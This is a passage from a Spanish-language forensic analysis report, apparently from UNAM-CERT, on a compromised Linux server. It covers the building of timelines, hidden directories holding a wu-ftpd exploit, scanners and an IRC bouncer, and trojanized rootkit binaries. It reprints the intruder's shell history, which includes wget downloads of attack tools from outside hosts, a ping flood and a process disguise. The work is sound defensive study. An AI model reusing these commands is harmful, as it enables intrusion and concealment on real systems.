comenzara a realizar desde /mnt/ (que corresponde al punto de montaje de las
imagenes del disco del sistema comprometido) y los archivos de salida los
colocara dentro del directorio files, tal directorio sera colocado en el directorio
de trabajo en el que el usuario de encuentre en ese momento. Si se quiere
colocar en otra ubicacion del sistema de archivos se debe proporcionar la ruta
absoluta del directorio.

En pantalla se mostrard informacion tal como: desde donde iniciara a analizar,
como se aprecia en la figura 5.7 (nota 1), en qué directorio colocara los
archivos de salida (nota 2) y finalmente, los archivos que se generan.

INICIO desde /ZMNE/ 1 Nota 1

Al ArChIVO FHEES/ oottt et | Nota 2

Files/lista _archivos.out, files/lista archivos crudo.out,

files/ocultos.out, files/suid.out, files/Figu.out, Files/sticky.out

Figura 5.7 analisis.pl ejecutandose.

Para verificar el contenido del directorio files se aplicara un listado largo
(Figura 5.8) sobre éste.

# Is -1h Tiles/

total 12M

drwxr--r-- 2 root root 4_0k Apr 28 08:22 archivos_configuracion
-rw-r--r-- 1 root root 7.0M Apr 28 08:22 lista_archivos.out
-rw-r--r-- 1 root root 4_9M Apr 28 08:22 lista_archivos_crudo.out
-rw-r--r-- 1 root root 1.2k Apr 28 08:22 ocultos.out

drwx-—---- 2 root root 4_0k Apr 28 08:22 rc3.d

-rw-r--r-- 1 root root 1.8k Apr 28 08:22 sgid.out

-rw-r--r-- 1 root root 615 Apr 28 08:22 sticky.out

-rw-r--r-- 1 root root 5.0k Apr 28 08:22 suid.out

Figura 5.8 Listado sobre ¢l directorio files.
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Se observa que se crearon dos directorios y seis archivos (Figura 5.8), el
directorio archivos_configuracion contiene, como su nombre lo indica,
archivos de configuracion basicos del sistema operativo, tal como:

o fstab

e 2TOUp

o Inittab

o messages

o passwd

e« secure

o shadow

 syslog

En cuando al directorio rc3.d (Figura 5.8) éste contiene los scripts de inicio
que el sistema levantaba en el nivel 3. Por qué se ha respaldado éste y no otro
directorio rc, por la sencilla razon de que éste es el nivel de inicio del sistema
comprometido, sin embargo la pregunta contintia siendo como se sabe el nivel
de inicio del sistema, bien, este se obtiene del archivo /etc/inittab.

Otro punto importante por mencionar es que los archivos lista_archivos.out y
lista_archivos_crudo.out (Figura 5.8) tienen un tamafio de 7.0M y 4.9M
respectivamente, esto se debe a que contienen la informacion de cada inodo
del sistema de archivos, por lo tanto mientras mas archivos se tengan en el
sistema, serd mayor la cantidad de informacion por recopilar y mayor el
tamafio de estos archivos.

Ahora se describe el contenido de los archivos ordinarios mostrados en la
figura 5.8.
o lista_archivos.out representa la base de datos de la informacion
recopilada del sistema de archivos.

o lista_archivos _crudo.out también representa la base de datos de la
informacion recopilada del sistema de archivos, solamente que a
diferencia del primero, en éste los datos se presentan en un formato no

entendible por el humano.

« ocultos.out presenta una lista de los archivos y directorios ocultos en el
sistema de archivos.

« sgid.out contiene una lista de archivos con el setgroupid activado.

o suid.out muestra los archivos con setuserid activado.
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« sticky.out presenta una lista de archivos con esta caracteristica activada.

5.7.1 Creacion de un timeline

Una vez que se han obtenido los datos necesarios, ahora es necesario el
interpretarlos de tal modo que nos sean verdaderamente utiles, ante tal
situacion, el script build_up.pl realizara el trabajo.

Para ejecutar el script build_up.pl (Figura 5.9) es necesario el indicarle cierto
rango desde donde se piensa comenzd a comportarse de modo anormal el
sistema de computo, hasta donde el sistema fue tomado por el experto de
seguridad en computo, en este caso, hasta el punto en que fue retirado de la
red, o bien, en el momento cuando fue apagado.

# ./build_up.pl -mtime~-01012002 311220025\ ..ccoiiiviiiiiiinen e Nota 1

-/build_up.pl -atime 01012002 31122002; \

./build_up.pl -ctime 01012002 31122002

Figura 5.9 Creacion del timeline mediante ejecucion de build up.pl

Con las lineas de comando anteriores lo que se realizd fue el crear un timeline
(linea de tiempo) de los archivos que fueron modificados, accedidos o creados
a partir del uno de enero de 2002 al 31 de diciembre de 2002 (Figura 5.9, nota
1). El rango de accion es muy amplio, abarca 365 dias, esto sucede debido a
que no se tiene informacion acerca de cudndo se sucedio el compromiso del
sistema. Hasta este momento la pregunta seria por qué elegir el afio 2002 para
realizar el analisis y no otro, esto se decidio al realizar pequefias revisiones al
sistema de archivos, en este caso se revisé la fecha del archivo /etc/passwd el
cual hace referencia al 22 de agosto de 2002, otro archivo revisado fue
letc/fstab el cual muestra una fecha de creacion del 21 de agosto de 2002.
Ante tal evidencia, estas fechas seran de gran ayuda, pues ayudardn a
identificar elementos extrafios en el sistema de archivos.

Una vez que se generaron los timeline se tienen archivos en formato HTML
que pueden ser revisados mediante un navegador Web.

En la pantalla mostrada (Figura 5.10) se puede ver a simple vista que existen
archivos y directorios no comunes en el sistema de archivos, en especial el
directorio /root/., del cual sus tiempos mac hacen referencia al Thu Aug 22
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17:42:58 2002, ante tal fecha, nuestras fechas tentativas del compromiso del

sistema son correctas hasta este momento.
Lista de archivos ctime - Mozilla Firefox

Eile Edit view Go

Bookmarks Tools Help

- 5
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j ©Go |~
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1, Loading...
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Figura 5.10 Muestra los archivos ocultos, asi como informacion de éstos.

A continuacién se muestra el contenido del directorio oculto (Figura 5.11), se
ha obtenido directamente del sistema de archivos.

# Is —1 /mnt/root/.,

drwxr-xr-x 7 root root 1024 Aug 23 2002 psybnc
-rw-r--r—- 1 root root 557964 Aug 22 2002 psyBNC.tar.gz
-rw-r--r—-— 1 root root 1603918 Aug 22 2002 awu.tgz
drwxr-xr-x 2 root root 1024 Aug 22 2002 aw

drwxr-x--- 4 root root 1024 Aug 23 2002 ..

drwxr-xr-x 4 root root 1024 Aug 22 2002 .

Figura 5.11 Contenido del directorio oculto.
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En el listado de la figura 5.11 se pueden ver dos archivos empaquetados y
comprimidos, (awu.tgz y psybnc.tar.gz) y los directorios aw y psybnc, tales
directorios fueron generados respectivamente por los archivos mencionados.

Al hacer uso de la informacion que se puede conseguir en Internet, se
determina que el archivo psyBNC.tar.gz corresponde al software necesario
para activar un servidor IRC en la maquina comprometida. Mientras que
awu.tgz corresponde a software dedicado a escanear redes. Cabe mencionar
que los canales IRC son comunmente utilizados por la comunidad cracker
para establecer comunicacién, o bien para controlar ciertos aspectos de la
maquina remota.

A continuacion se muestra un listado del directorio aw.

# Is -lacr aw

total 1900

—FWXr-Xr-x 1 root root 1393996 Aug 22 2002 x2
—FrWXFr-Xr-X 1 root root 382072 Aug 22 2002 wu
-rw-r--r—- 1 root root 5 Aug 22 2002 test.f
-rw-r--r—- 1 root root 0 Aug 22 2002 test.c
-rw-r—-—-—-— 1 root root 5015 Aug 22 2002 targets
—FWXr-Xr-x 1 root root 3350 Aug 22 2002 ssvuln.c
—FWXr-Xr-x 1 root root 15012 Aug 22 2002 sswvuln
-rw-r--r—- 1 root root 6220 Aug 22 2002 ss.c
—FWXr-Xr-x 1 root root 16964 Aug 22 2002 ss
—FrWXFr-Xr-X 1 root root 5870 Aug 22 2002 pscan2.c
—rWXr-xr-x 1 root root 15781 Aug 22 2002 pscan2
-rw-r--r—-— 1 root root 3715 Aug 22 2002 outpu
-rw-r—-r—- 1 root root 1656 Aug 22 2002 oops.o
-rw-r--r—- 1 root root 1060 Aug 22 2002 oops-c
—FWXr-Xr-x 1 root root 13085 Aug 22 2002 oops
-rw-r--r—- 1 root root 3848 Aug 22 2002 nodupe.o
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-rw-r--r-- 1 root root 5550 Aug 22 2002 nodupe.c
—rWXr-Xr-x 1 root root 15138 Aug 22 2002 nodupe
-rw-r--r-- 1 root root 389 Aug 22 2002 doitdme
-rw-r—-r—- 1 root root 23064 Aug 22 2002 awu.log
-rw-r--r-- 1 root root 231 Aug 22 2002 awu.list
—FWXr-Xr-x 1 root root 1291 Aug 22 2002 awu

—FWXFr-Xr-X 1 root root 205 Aug 22 2002 auto

-rw-r--r—-— 1 root root 597 Aug 22 2002 Makefile
-rw-r--r—-— 1 root root 0 Aug 22 2002 12.216.pscan.21

Figura 5.12 Listado sobre directorio aw

De los archivos mostrados en el listado de la figura 5.12, a continuacion se
explican la funcion de algunos de estos.
o El archivo wu es un exploit que aprovecha una vulnerabilidad del wu-
ftpd logrando obtener una consola de root para el atacante.

 SS es una utileria que trata de ejecutar el exploit, dejando una bitdcora en
el archivo reewt.log de las maquinas en que ha conseguido obtener root.

« El ejecutable oops automatiza el uso de ss.

e aw contiene entre otros, un shell-script que se utiliza para la ejecucion
de procesos.

e psybnc es el directorio que contiene los archivos para levantar un
servidor IRC. Este tipo de IRC le permite al intruso permanecer la
conexion las 24 horas del dia de forma ininterrumpida.

Al continuar revisando el timeline se ha encontrado otro directorio oculto
colocado en /var/tmp/., (Figura 5.13)
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Figura 5.13 Identificacion de /var/tmp/.,

Bajo el directorio /var/ftp/ se encuentra el directorio nerod el cual no es un
directorio oculto, se trata de un directorio regular, para verificar qué tipo de
archivos existen se hizo un listado largo de su contenido, el cual se muestra en
la figura 5.14:

# Is -lacr var/ftp/nerod | more

total 1030

—FWXr-Xr-x 1 503 503 6100 Aug 22 2002 wp
—rwXr-xr-x 1 503 503 38536 Aug 22 2002 vdir
—FWXr-Xr-x 1 503 503 48856 Aug 22 2002 top
—rwWXr-xr-x 1 503 503 1192 Aug 22 2002 syslogd.init
—rwXr-xr-x 1 503 503 25444 Aug 22 2002 syslogd
—rwXr-Xr-x 1 503 503 2210 Aug 22 2002 sysinfo
drwxr-xr-x 2 503 503 1024 Aug 22 2002 sshd
—rwXr-Xr-x 1 503 503 2960 Aug 22 2002 shad
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—rwWXr-xr-x 1 503 503 538 Aug 22 2002 .laddr

Figura 5.14 Contenido del directorio nerod

Se reviso el contenido de cada archivo y se ha llegado a la conclusion de que
se trata de un rootkit. A simple vista el listado muestra archivos con nombres
de archivos binarios del sistema de archivos, tal como:

o clean

e du

o find

« ifconfig

« login

« killall

o Is

e netstat

e PS

o pstree

o sshd

 syslogd

° tOp

El decir qué realiza cada uno de estos archivos estd de mas, pues al formar
parte de un rootkit y contar con nombres de los binarios mas importantes y
mas utilizados del sistema, se concluye que se tratan de caballos de Troya.
Ademas de las utilerias del sistema troyanizadas, también se logran identificar
herramientas para eliminar registros del sistema de bitdcoras con el fin de
eliminar resto de la actividad del intruso, y por si fuera poco, también existen
scripts de inicio del sistema que son modificados a la conveniencia del intruso.

Como saber si el rootkit identificado fue instalado, para ello realizamos un
listado largo de los archivos del sistema, principalmente nos interesa ver el
contenido de /bin (Figura 5.15) y de /sbin (Figura 5.16) pues es en donde se
encuentran las principales utilerias del sistema.

# Is —lacr /bin | more
total 5419

—rWXr-Xr-x 3 root root 50652 Aug 21 2002 zcat
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I rwxXrwxrwx 1 root root 3 Aug 21 2002 gtar -> tar
—rWXr-Xr-x 1 root root 49244 Aug 21 2002 grep
—FWXr-Xr-x 1 root root 17088 Aug 21 2002 gettext
—FrWXr-Xr-xX 2 root root 157884 Aug 21 2002 gawk-3.0.6
—rWXr-Xr-x 2 root root 157884 Aug 21 2002 gawk
—FWXr-Xr-x 1 root root 49244 Aug 21 2002 fgrep
—rwWXr-xr-x 1 root root 4436 Aug 21 2002 false

I rwXrwxrwx 1 root root 2 Aug 21 2002 ex -> Vi
—FWXr-Xr-x 1 root root 49244 Aug 21 2002 egrep
—rWXr-xr-x 1 root root 78140 Aug 23 2002 ed

—FWXr-Xr-x 1 root root 6812 Aug 21 2002 echo

I rwxrwxrwx 1 root root 8 Aug 21 2002 domainname ->
hostname

—FWXr-Xr-x 1 root root 2664 Aug 21 2002 doexec

I rwxrwxrwx 1 root root 8 Aug 21 2002 dnsdomainname -

> hostname

—FWXr-Xr-x 1 root root 4272 Aug 21 2002 dmesg
—rwWXr-xr-x 1 root root 3097- Aug 23 2002 df
—rwXr-Xr-x 1 root root 32962 Aug 23 2002 dd
—FWXr-Xr-x 1 root root 25884 Aug 21 2002 date
—rWXr-xr-x 1 root root 16796 Aug 21 2002 cut

I rwXrwxrwx 1 root root 4 Aug 21 2002 csh -> tcsh
—FWXF-Xr-X 1 root root 52828 Aug 23 2002 cpio
—rWXr-Xr-x 1 root root 40924 Aug 23 2002 cp
—rwWXr-Xr-x 1 root root 44316 Aug 21 2002 consolechars
—FWXFr-Xr-X 1 root root 22748 ~ug 23 2002 chown
—rwXr-Xr-x 1 root root 2096 Aug 23 2002 chmod

—FWXr-Xr-x 1 root root 20860 Aug 23 2002 chgrp
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—FWXr-Xr-x 1 root root 14716 Aug 21 2002 cat

I rwxrwxrwx 1 root root 3 Aug 21 2002 bsh -> ash

I rwXrwxrwx 1 root root 4 Aug 21 2002 bash2 -> bash
—rwWXr-xr-x 1 root root 512668 Aug 21 2002 bash
—rWXr-Xr-x 1 root root 5748 Aug 21 2002 basename

I rwxXrwxrwx 1 root root 4 Aug 21 2002 awk -> gawk
—rwWXr-xr-x 1 root root 446728 Aug 21 2002 ash.static
—rwWXr-xr-x 1 root root 94748 Aug 21 2002 ash
—rwXr-Xr-x 1 root root 2828 Aug 21 2002 arch

Figura 5.15 Contenido del directorio /bin

# Is -lacr sbin | more

total 5658

—r-Xr-xr-x 1 root root 26224 Aug 21 2002 ypbind
—rwXr-Xr-x 1 root root 7728 Aug 21 2002 update
-r-sr-xr-x 1 root root 15448 Aug 21 2002 unix_chkpwd
—FWXr-Xr-x 1 root root 9404 Aug 21 2002 tune2fs

I rwxXrwxrwx 1 root root 4 Aug 21 2002 telinit -> init
—rWXr-xr-x 1 root root 94012 Aug 21 2002 tc
—rWXr-Xr-x 1 root root 25444 Aug 22 2002 syslogd
—-r-Xr-Xr-x 1 root root 7892 Aug 21 2002 sysctl
—rWXr-Xr-x 1 root root 7200 Aug 21 2002 swapon

1 rwxXrwxrwx 1 root root 6 Aug 21 2002 swapoff ->
swapon

—rwXr-xr-x 1 root root 12444 Aug 21 2002 sulogin
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> raidstart

I rwxrwxrwx 1 root root 9 Aug 21 2002
raidhotgenerateerror -> raidstart

I rwxrwxrwx 1 root root 9 Aug 21 2002 raidhotadd ->
raidstart

I rwXrwxrwx 1 root root 6 Aug 21 2002 raidOrun ->
mkraid

—rWXr-xr-x 1 root root 17980 Aug 21 2002 quotaon

I rwxXrwxrwx 1 root root 13 Aug 21 2002 quotaoff ->
/sbin/quotaon

—rwXr-Xr-x 1 root root 30108 Aug 21 2002 quotacheck
-r-sr-xr-x 1 root root 14960 Aug 21 2002 pwdb_chkpwd
—rWXr-xr-x 1 root root 46256 Aug 21 2002 pump
—FWXr-Xr-x 1 root root 48852 Aug 21 2002 ppp-watch

I rwxrwxrwx 1 root root 4 Aug 21 2002 poweroff ->
halt

—rWXr-xr-x 1 root root 4796 Aug 21 2002 plipconfig

I rwxrwxrwx 1 root root 8 Aug 21 2002 pidof ->
killall5

—rwXr-Xr-x 1 root root 6896 Aug 21 2002 pam_tally
—-r-Xr-xXr-x 1 root root 33284 Aug 21 2002
pam_console_apply

—-rWXr-sr-x 1 root root 4160 Aug 21 2002 netreport
—rWXr-xr-x 1 root root 6248 Aug 21 2002 nash

I rwxXrwxrwx 1 root root 20 Aug 21 2002 mount.smbfs ->
..//usr/bin/smbmount

I rwxrwxrwx 1 root root 20 Aug 21 2002 mount.smb ->
. .//usr/bin/smbmount

I rwxrwxrwx 1 root root 6 Aug 21 2002 modprobe ->
insmod

—rwXr-Xr-x 1 root root 40412 Aug 21 2002 modinfo

—FrWXFr-Xr-X 1 root root 8772 Aug 21 2002 mkswap
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Aug
Aug
Aug
Aug
Aug
Aug
Aug
Aug
Aug
Aug
Aug
Aug
Aug
Aug
Aug
Aug
Aug
Aug
Aug

Aug

Aug
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21
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21

21

21

21

21

21

21

21

21

21

21

21

21

21

21

21

21

21

21

21

21

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

mkraid

mkpv
mkkerneldoth
mkinitrd
mkfs .msdos
mkfs._minix
mkfs.ext2
mkfs

mke2fs
mkdosTs
mkbootdisk
minilogd
mingetty
mii-tool
Ispci

Ismod -> insmod
losetup

lilo
Idconfig

ksyms -> insmod

klogd
killall5
kernelversion
kbdrate
kallsyms ->

iptunnel
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—rwXr-Xr-x 1 root root 79508 Aug 21 2002 iptables-save
—rwXr-xr-x 1 root root 79068 Aug 21 2002 iptables-
restore

—rwWXr-xr-x 1 root root 76580 Aug 21 2002 iptables
—rWXr-xr-x 1 root root 29244 Aug 22 2002 iportmap
—rwXr-Xr-x 1 root root 10012 Aug 21 2002 ipmaddr

I rwxrwxrwx 1 root root 7 Aug 21 2002 ipfwadm-wrapper
-> ipfwadm

—rwXr-Xr-x 1 root root 21953 Aug 21 2002 ipfwadm
—rwWXr-xr-x 1 root root 4112 Aug 21 2002 ipchains-save
—rwXr-Xr-x 1 root root 3032 Aug 21 2002 ipchains-
restore

—rwWXr-Xr-x 1 root root 40316 Aug 21 2002 ipchains
—FWXr-Xr-x 1 root root 91516 Aug 21 2002 ip

—rwWXr-xr-x 1 root root 728 Aug 21 2002 installkernel
—rwWXr-xr-x 1 root root 70652 Aug 21 2002 install-info
—FWXr-Xr-x 1 root root 359 Aug 21 2002
insmod_ksymoops_clean

—rwXr-Xr-x 1 root root 513512 Aug 21 2002 insmod.static
—rwXr-Xr-x 1 root root 89948 Aug 21 2002 insmod
—rwXr-xr-x 1 root root 27636 Aug 21 2002 initlog
—FWXr-Xr-x 1 root root 26844 Aug 21 2002 init
—rwWXr-xr-x 1 root root 4882 Aug 21 2002 ifup
—rwWXr-xXr-x 1 root root 11568 Aug 21 2002 ifenslave
—rwXr-Xr-x 1 root root 1875 Aug 21 2002 ifdown
—rwWXr-xr-x 1 root root 49148 Aug 22 2002 ifconfig
—rwXr-Xr-x 1 root root 2966 Aug 21 2002 ifcfg
—rwXr-Xr-x 1 root root 29880 Aug 21 2002 hwclock

—rwWXr-xXr-x 1 root root 1705 Aug 21 2002 hotplug




Analisis forense en sistemas Unix

-rwXr-Xr-x

-rwWXr-Xr-Xx

-rwXr-Xr-X

-rwXr-Xr-Xx

-rwWXr-Xr-x

-rwXr-Xr-x

-rwXr-Xr-Xx

-rwXr-Xr-X

-rwWXr-Xr-x

-rwWXr-Xr-x

-rwXr-Xr-X

-rwXr-Xr-Xx

-rwXr-Xr-x

=rwXr-Xr-X

-rwXr-Xr-Xx

-rwXr-Xr-X

=rwXr-Xr-X

-rwXr-xXr-Xx

-rwXr-Xr-X

-rwXr-Xr-Xx

-rwXr-Xr-Xx

=rwXr-Xr-X

-rwXr-Xr-Xx

-rwXr-Xr-X

=rwXr-Xr-X

I rwxrwxrwx
hwclock

1

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

root

25212

7592

3644

34236

34524

15996

40316

16380

472104

472104

14748

73372

4904

4540

472104

6880

50140

40316

401096

32812

52988

38948

3780

17948

2900

7
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Aug
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Aug
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21
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21

21

21

21

21

21

21

21
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2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

2002

hdparm

halt

getkey
genksyms.old
genksyms
fuser
fsck.msdos
fsck.minix
fsck.ext3
fsck.ext2
fsck

fdisk
elvtune
e2label
e2fsck
dumpe2fs
dump
dosTsck
dhcpcd
devfsd
depmod
debugfs
ctrilaltdel
convertquota
consoletype

clock —>
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—rwXr-Xr-x 1 root root 26076 Aug 21 2002 chkconfig
—rWXr-Xr-x 1 root root 11538 Aug 21 2002 chq
—rwXr-Xr-x 1 root root 5936 Aug 21 2002 blockdev
—rwWXr-xr-x 1 root root 13992 Aug 21 2002 badblocks
—rWXr-Xr-x 1 root root 39388 Aug 21 2002 arp
—FWXr-Xr-x 1 root root 13148 Aug 21 2002 agetty

Figura 5.16 Contenido del directorio /sbin

En el listado (figura 5.15, se han marcado los binarios sustituidos) podemos
ver que las principales utilerias han sido sustituidas por los caballos de Troya
del rootkit identificado, por lo tanto, se concluye que el rootkit si fue
instalado. En el listado de la figura 5.16 no se observa ningln archivo
modificado. Ante esta situacion no solamente los binarios del sistema que han
sido sustituidos nos deben de preocupar, sino todo el sistema en general, pues
hay que recordar que el rootkit instalado contiene archivos de inicio del
sistema que seguramente fueron remplazados.

5.7.2 Actividad del superusuario

El intruso al permanecer en el sistema y lograr obtener privilegios de
superusuario (administrador) dejo su actividad grabada en los archivos del
sistema, tal actividad se muestra a continuacion (Figura 5.17):

vi /etc/lilo.conf

lilo

vi /etc/hosts

netstat -a

cd /etc/xinetd.d/

Is

vi wu-ftpd
/etc/init.d/xinetd restart

netstat -a
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ftp

s N ——— J Credé uno de los

directorios ocultos

ftp www.Ocatch.com

wget
wget
wget
wget
echo
echo
echo
echo

echo

www .geocitites.com/nealal9/psybnc2.2.2_tar.gz
www.geocitites.com/nealal9/psybnc

www .geocities.com/masterOn/awu.tgz

www . geocities.com/masterOn/awu.tgz

ftp >> /etc/ftpusers

anonymous >> /etc/ftpusers

ssh >> /etc/ftpusers

ssh >> /etc/ftp

ssh >> /etc/ssh

/usr/sbin/userdel ftp

wget
ftp
tar z
cd ps
makew
make
-/psy
uptim
w

ping

www .geocities.com/gavishl9/psyBNC.tar.gz

xvf psyBNC.tar.gz

ybnc

bnc

e

-f -s6000 80.96.22.169

Obtuvo el coédigo

que instalé
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ping -f -s6000 80.96.22.169

Is

cd .,

Is

wget www.geocities.com/masterOn/awu.tgz
tar zxvf awu.tgz

cd aw

Jawu 12.216 0 Realiz6 escaneos de red

cexit

exit

export PATH="_""
httpd

exity

exit

export PATH="_"
htpd

httpd

exit

w

cd /var/tmp
mkdir .,

cd .,

dir

wget www.geocities.com/adrianboy20ro/psy.tgz
tar xvzf psy.tgz
cd psybnc/

pico psybnc.conf
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mv psybnc httpd

bash

dir

rm -rf psy.tgz

wget www.mumutzz.go.ro/manu.tgz
tar xvzf manu.tgz

cd emech/

dir

pico emech.users

bash

cd ..

dir

rm -rf manu.tgz

Figura 5.17 Actividad del intruso

En los comandos que el "administrador” utilizé se puede ver que una vez que
el intruso tuvo pleno acceso al sistema, realizo varias conexiones a diferentes
sitios de Internet con el fin de obtener las utilerias para completar su objetivo.

5.8 Por donde se genero la intrusion

En la actividad registrada para el superusuario se puede identificar que el
intruso intentd cerrar el acceso anonimo al ftp de forma desesperada, incluso
elimin6d al usuario ftp, realizd tal actividad con la intension de que otros
intrusos no tuviesen la manera de acceder al sistema y que éste sélo fuese para
él.
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Como se puede intuir por el parrafo anterior, el intruso accediod al sistema por
el servicio FTP, no le fue dificil acceder, pues es uno de los servicios que si no
se tiene configurado de modo adecuado es facilmente vulnerado.
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El analisis forense es una parte esencial cuando un compromiso de sistema se
ha presentado, pues ayuda a determinar varios puntos que permiten evitar
vuelva a suceder, siempre que se mejoren las condiciones ante la cual sucedio
el compromiso.

El area del computo forense en México aln no es un campo explotado al 100
por ciento, sin embargo en otros paises del mundo sucede lo contrario, es la
causa de que existan herramientas disponibles a través de Internet y que
algunas de éstas se utilicen en varios centros de computo para realizar el
proceso de analisis forense, lo cual implica acoplarse a los resultados que éstas
proporcionan.

El kit de herramientas desarrollado como proyecto ante las que se pueden
obtener a través de la red presentan una ventaja notable y es que utilizan el
lenguaje interpretado Perl para obtener resultados, lo cual implica que se
utiliza solo este lenguaje de programacion y ningun médulo més, lo cual si
hacen las otras, y sucede que varias veces es imposible poder ejecutarlas pues
se necesitaria instalar ciertos médulos para su correcto funcionamiento, sin
embargo al hacer esto se estaria modificando la evidencia de computo. Es
cierto que las lineas de codigo del kit de herramientas resulta bastante amplio,
pero evitamos el uso de modulos que se necesitarian instalar y con ello
mantener la evidencia lo mas integra posible.

El kit de herramientas consiste, como se ha mencionado, de varios programas
en Perl, sin embargo solamente uno de ellos es el que necesita instalarse
(colocar) en el equipo de cémputo, lo cual resulta una ventaja ante las
herramientas de terceros que se componen de varios archivos los que se
necesitarian instalar, asi que esa es una ventaja que es importante resaltar.

La rapidez de ejecucion es otras de las caracteristicas que se debe hacer notar,
pues en comparacion de otras herramientas, la propia se ejecuta en tiempos
muy cortos, lo cual es de gran importancia, ya que permite agilizar los tiempos
de respuesta a un analisis forense.

La desventaja ante otras herramientas, no ante todas, es que no permite
identificar rootkits instalados a nivel de kernel, que es una de las situaciones
en gue algunas veces nos enfrentamos, y no es que no se tenga la capacidad de
identificarlos, simplemente el alcance del proyecto se establecié hasta el nivel
que se hizo, pero no se desecha la posibilidad de hacerlo para robustecer la
herramienta.
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Dentro del Departamento de Seguridad en Computo del UNAM-CERT es en
donde se desarrollaron las pruebas y es ahi también en donde se utiliza para
realizar el proceso de analisis forense.

Como trabajo a corto plazo se tiene contemplado continuar incrementando sus
caracteristicas, pues se han identificado més utilerias que son necesarias y que
aun no existen, y que van orientadas mas hacia lo que es una auditoria de
sistemas, pero que algunas veces son utiles al momento de redactar el reporte
y realizar las recomendaciones pertinentes.
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atime. Tiempo de acceso de un archivo.

Backdoor. Es un método para evitar autenticarse en un sistema, ademas
intenta mantenerse oculto. Una puerta trasera puede tomar la forma de un
programa instalado o puede modificar una ya instalado.

BSD. BSD son las iniciales de Berkeley Software Distribution (Distribucion
de Software Berkeley) y se utiliza para identificar un sistema operativo
derivado del sistema Unix nacido a partir de las aportaciones realizadas a ese
sistema por la Universidad de California en Berkeley.

Caballo de Troya. En un programa malicioso que se hace pasar como
software legitimo. Particularmente se hace pasar por programas Utiles o
interesantes para el usuario con el fin de que sean ejecutados.

CISA. Certified Information System Auditor, ha sido aceptada como un
estandar para los expertos en auditoria, control y seguridad de los sistemas de
informacion.

COBIT. Control Objectives for Information and related technology (objetivos
de control de informacion y tecnologias relacionadas), publicado por ITGI, es
un modelo aceptado de buen control de la informacion, las Tl y los riesgos
que conllevan.

ctime. Tiempo de cambio de un archivo.

Daemon. Es un programa de computo que se ejecuta en background, es
iniciado comUnmente por procesos.

FBI. The Federal Bureau of Investigation (Oficina Federal de Investigacion)
es el principal brazo de investigacion del Departamento de Justicia (DOJ) de
los Estados Unidos de América.

FTP. FTP es uno de los diversos protocolos de la red Internet, concretamente
significa File Transfer Protocol (Protocolo de Transferencia de Archivos) y es
el ideal para transferir grandes bloques de datos por la red.

Honeynet. Los Honeynet son un tipo especial de Honeypots de alta
interaccién que actuan sobre una red entera, disefiada para ser atacada y
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recobrar asi mucha mas informacidén sobre posibles atacantes. Se usan equipos
reales con sistemas operativos reales y corriendo aplicaciones reales.

Honeypot. Se denomina Honeypot al software o conjunto de computadores
cuya intencion es atraer a crackers o spammers, simulando ser sistemas
vulnerables o débiles a los ataques. ES una herramienta de seguridad
informatica utilizada para recoger informacion sobre los atacantes y sus
técnicas. Los Honeypots pueden distraer a los atacantes de las maquinas mas
importantes del sistema, y advertir rapidamente al administrador del sistema
de un ataque, ademéas de permitir un examen en profundidad del atacante,
durante y después del ataque al honeypot.

INIT. Es el proceso que levanta al final del proceso de boot y es identificado
como el proceso 1. Es el encargado de iniciar los procesos en el sistema que se
encuentren definidos en el archivo /etc/inittab.

Inodo. Es una estructura de datos propia de los sistemas de archivos
tradicionalmente empleados en los sistemas operativos tipo UNIX como es el
caso de Linux. Un inodo contiene las caracteristicas (permisos, fechas,
ubicacion, pero no el nombre) de un archivo regular, directorio, o cualquier
otro objeto que pueda contener el sistema de archivos.

IRC (siglas de Internet Relay Chat) es un protocolo de comunicacién en
tiempo real basado en texto, que permite debates en grupo o entre dos
personas y que estd calificado dentro de la mensajeria instantanea. Las
conversaciones se desarrollan en los llamados canales de IRC, designados por
nombres que habitualmente comienzan con el caracter # o & (este Gltimo sélo
es utilizado en canales locales del servidor). Es un sistema de charlas
ampliamente utilizado por personas de todo el mundo.

Intruso. Es alguien que viola la seguridad de un sistema informatico.

Kernel. Es la parte fundamental de un sistema operativo. Es el software
responsable de facilitar a los distintos programas acceso seguro al hardware de
la computadora o en forma mas basica, es el encargado de gestionar recursos a
través de servicios de llamadas al sistema.

md5sum. Ver message digest.
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Message Digest. En criptografia, MD5 (acronimo de Message-Digest
Algorithm 5, Algoritmo de Resumen del Mensaje 5) es un algoritmo de
reduccion criptografico de 128 bits ampliamente usado. El codigo MD5 fue
disefiado por Ronald Rivest en 1991. Durante el afio 2004 fueron divulgados
ciertos defectos de seguridad, lo que hara que en un futuro cercano se cambie
de este sistema a otro mas seguro.

mtime. Tiempo de modificacion de un archivo.

NFS. Network File System es un protocolo utilizado para permitir a una
computadora acceder a un sistema de archivos distribuidos en a través de la
red.

PID. Es un numero decimal que se utiliza como identificador de proceso.

Rootkit. Un rootkit es un conjunto de software frecuentemente utilizado por
terceras partes para tener acceso a sistemas de computo.

SMTP. Simple Mail Transfer Protocol, o protocolo simple de transferencia de
correo electronico. Protocolo de red basado en texto utilizado para el
intercambio de mensajes de correo electronico entre computadoras o distintos
dispositivos (PDA's, Celulares, etc).

Sniffer. Un packet sniffer es un programa que captura las tramas de red, y es
generalmente utilizado con fines maliciosos, para gestion de red o con
finalidad docente.

SV. System V es una variante del sistema operativo Unix desarrollada por
AT&T. Fue la primera version de UNIX. En ella se estandariz6 la mayoria de
los elementos del sistema operativo. Su primer lanzamiento es de 1989.

TCT. The Coroner Toolkit es una coleccion de programas para realizar un
analisis forense en los sistemas Unix después de haber sufrido un dafio. Este
software fue presentado por primera vez en una clase de Analisis Forense
Computacional en 1999.

Telnet. Es el nombre de un protocolo (y del programa informatico que
implementa el cliente) que sirve para acceder mediante una red a otra
méaquina, para manejarla como si estuvieramos sentados delante de ella. Para
que la conexion funcione, como en todos los servicios de Internet, la maquina
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a la que se accedia debe tener un programa especial que reciba y gestione las
conexiones. EI puerto que se utiliza generalmente es el 23.
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